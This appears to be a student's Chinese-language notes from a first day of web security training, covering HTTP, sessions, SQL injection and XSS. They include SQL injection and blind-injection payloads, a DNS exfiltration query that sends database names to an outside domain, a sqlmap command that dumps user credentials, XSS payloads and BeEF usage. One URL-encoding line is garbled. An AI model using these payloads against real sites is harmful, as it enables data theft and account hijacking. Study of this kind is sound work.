DAY1

一 http基础

http请求方式

输入url,先去找DNS缓存(hosts),找ip地址
发送http请求,先apach服务器(若访问.html文件,可自己处理),php需交给php脚本引擎去处理,访问MySQL数据库,后返回给浏览器响应报文。

Url用?传输数据 eg:www.xxxx.com/admin.php?id=???

url编码

将不安全的字符编码
·%3d =
·%20 空格
·%0a 新行
·%00 孔子杰

http响应

请求报文 http
协议版本
状态码:200(访问成功)

http请求报文

由请求行、请求头部、空行和请求数据四个部分组成
http请求方法:POST,GET,HEAD,PUT……

请求头部

Host:请求的主机名,允许多个域名同处一个IP地址,即虚拟主机。
User-Agent:产生请求的浏览器类型。
Accept:客户端可识别的内容类型列表。
Accept-Encoding:请求报头域类似于Accept,但是它是用于指定可接受的内容编码。
Accept-Language:请求报头域类似于Accept,但是它是用于指定一种自然语言。
Referer:上一个资源的URL。
Connection:当值为Close时,告诉服务器发送响应的文件后关闭连接,为Keep-Alive时,告诉服务器在完成本次请求的响应后,保持连接。

会话技术

·用cookie或者session
·cookie存储浏览器
·session保存于服务器

session的产生
客户端第一次请求
·创建sessionID
·初始化超全局变量_SESSION中保存的所有数据序列化存储到sessionId对应的文件中。并将SESSION以SETCOOKIE的形式返回客户端

客户端再次请求
·检测到客户端的COOKIE的SESSIONID
·初始化超全局变量_SESSION中。
·脚本执行结束,将$_SESSION中保存的所有数据序列化存储到SESSIONID对应的文件中

burpsuit

设置代理即可

二SQL注入

 改变原有sql语句,执行查询语句

·寻找sql注入点
GET
POST
COOKIE
http头

确定SQL注入点
基础:·万能密码 1'and '1'='1(印象笔记中)
盲注:·布尔盲注
id=1 and if(database()='',sleep(5),1)
DNS:·LOG
向客户端发送http请求:
http://x.cn?id=1 AND LOCAL_FILE(CONCAT('\\',DATABASE(),'1.xn.cn\a')

自动化工具:sqlmap

      sqlmap -u"url" -v 3 -D vul(数据库名字) -T users -C "id,username,password" --dump 

三 xss

反射型xss(不经过数据库)alert(1)
存储型xss(payload会被存储)

DOM型xss
·在地址栏中填写,填写的地方先用'闭合,后面用//将后面的内容注释掉
payload='onclick=alert(1)//

beef的使用(xss平台)

配置kali的网段
beef-xss
用给的payload编写一个html文件,拖进浏览器便可

xss平台:https://xsspt.com/ 需要自行注册
kali将ip更换为桥接模式后,更改网卡的IP地址过程
vim /etc/network/interface
auto eth0
iface eth0 inet static
address 192.168.96.150
netmask 255.255.255.0
gateway 192.168.96.1
dns-nameservers 114.114.114.114

service networking restart
ifdown eth0
ifup eth0

xss防御

代码层 架构层
·httponly ·WAF
·Htmlen.code(转义)

你可能感兴趣的:(DAY1)